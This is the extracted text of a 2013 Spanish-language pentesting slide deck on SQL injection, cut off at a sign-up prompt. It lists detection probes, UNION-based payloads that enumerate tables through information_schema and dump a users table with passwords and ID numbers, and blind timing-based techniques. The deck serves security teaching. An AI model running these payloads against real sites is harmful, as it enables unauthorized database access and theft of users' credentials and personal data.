Seguridad
Aplicaciones WEB
Pentesting en aplicaciones web
Noviembre, 2013
Omar Palomino
omarc320@gmail.com
opalomino@kunak.com.pe
http://www.el-palomo.com
• Ing. Sistemas y Maestrista de Ing. de
Computación y Sistemas, CEH,
Security+, ITIL v3, CPTE
• Consultor
en
seguridad
de
información de KUNAK Consulting.
• Psicólogo que aun no comienza sus
estudios….
• Escritoren mis tiempos libres:
http://www.el-palomo.com
http://www.el-palomo.com
1.
2.
3.
4.
5.
6.
7.
Inyecciones SQL basada en uniones
Inyecciones SQL a ciegas – Blind SQLi
Inyecciones manuales vs herramientas
Nuevos Retos SQLi - WAFs
Evadir Web Application Firewall
Codificaciones
Automatizando ataques SQLi con Python
http://www.el-palomo.com
¿Dónde los encontramos?Aplicaciones desarrolladas “in-house”
Aplicaciones desarrolladas por terceros
Aplicaciones web antiguas sin criterios de
seguridad
- Content Management Systems (CMS)
•
-
http://www.el-palomo.com
• ¿Por qué ocurren las inyecciones SQL?
La Vulnerabilidad de SQLi se debe a que no se
realiza un adecuado filtrado de variables que son
enviadas a la aplicación Web.
http://www.el-palomo.com
•Identificar inyecciones SQL
*** CONCATENACIONES***
10' and 1=1--%20
9' or 1=1 --+
9' and sleep(5) --+
espacios en blanco = %20
espacios en blanco = +
*** OPERACIONES MATEMÁTICAS ***
select * from productos where idprod=''
10' - 1 --+
10'/0 --+
** A TRAVES DE ERRORES **
COMILLAS DOBLES (")
COMILLAS SIMPLES (')
select * from productos where idprod='9''
* Identificar conherramientas: Acunetix, W3af
http://www.el-palomo.com
http://www.el-palomo.com
•
•
•
Basadas en Uniones
Inyecciones a Ciegas (Blind SQL)
Sólo obtenemos un carácter a la vez
Identificamos el carácter con TRUE o FALSE
Basadas en errores
http://www.el-palomo.com
1. Inyecciones basadas en UNIONES
* Realizar la inyeccion: 9' union select 1,2,3,4,5 --+
* Funciones básicas de Mysqldatabase() --> Devuelve la BD actual utilizada x la App
user() --> Devuelve el usuario actual utilizado x la App
CURRENT_USER
@@datadir --> Path de Mysql
9' union select user(),database(),3,4,5--+
- ENTENDER BD: INFORMATION_SCHEMA
*Tabla SCHEMATA: Almacena todas las Bases de Datos
-SCHEMA_NAME
*Tabla TABLES: Almacena las tablas asociadas a las Bases de Datos
-SCHEMA_NAME, TABLE_NAME*Tabla COLUMNS: Almacena las columnas asociadas a las tablas y a las bases de datos
-SCHEMA_NAME, TABLE_NAME, COLUMN_NAME
http://www.el-palomo.com
1. Inyecciones basadas en UNIONES
* Obtener información de tablas
9' union select (select group_concat(table_name) from information_schema.tables where
table_schema='privacidadDB'),2,3,4,5--+
TABLAS:
clientes,productos,prueba,usuarios
*OBTENER LAS COLUMNAS
9' union select (select group_concat(column_name) from information_schema.columns where
table_schema='privacidadDB' and table_name='usuarios' ),2,3,4,5--+
9' union select (select count(*) from usuarios),2,3,4,5--+ // TOTAL DE REGISTROS
9' union select (select concat(iduser,login,nombre,apellido,dni,contrasena) from usuarios limit 0,1),2,3,4,5--+
9' union select (selectconcat_ws('{%}',iduser,login,nombre,apellido,dni,contrasena) from usuarios limit 2,1),2,3,4,5-+
* HEXADECIMAL
9' union select (select concat_ws(0x7b257d,iduser,login,nombre,apellido,dni,contrasena) from usuarios limit
0,1),2,3,4,5--+
http://www.el-palomo.com
1. Inyecciones a Ciegas (Blind SQL)
- Algoritmo de búsqueda binaria
-
ASCII rango 32 – 126
Dividir siempre entre la mitad
Sepregunta si el número es mayor o menor
Máximo 8 iteraciones
- Método Bitwise
- Siempre usa 7 iteraciones
- Método Regex
- Usa expresiones regulares
http://www.el-palomo.com
http://www.el-palomo.com
LENGTH () between 0 and 20, sleep (5)
TRUE or FALSE
LENGTH () between 20 and 30, sleep (5)
TRUE or FALSE
LENGTH () between 20 and 25, sleep (5)
Longitud: 27
32
33
34...
Regístrate para leer el documento completo.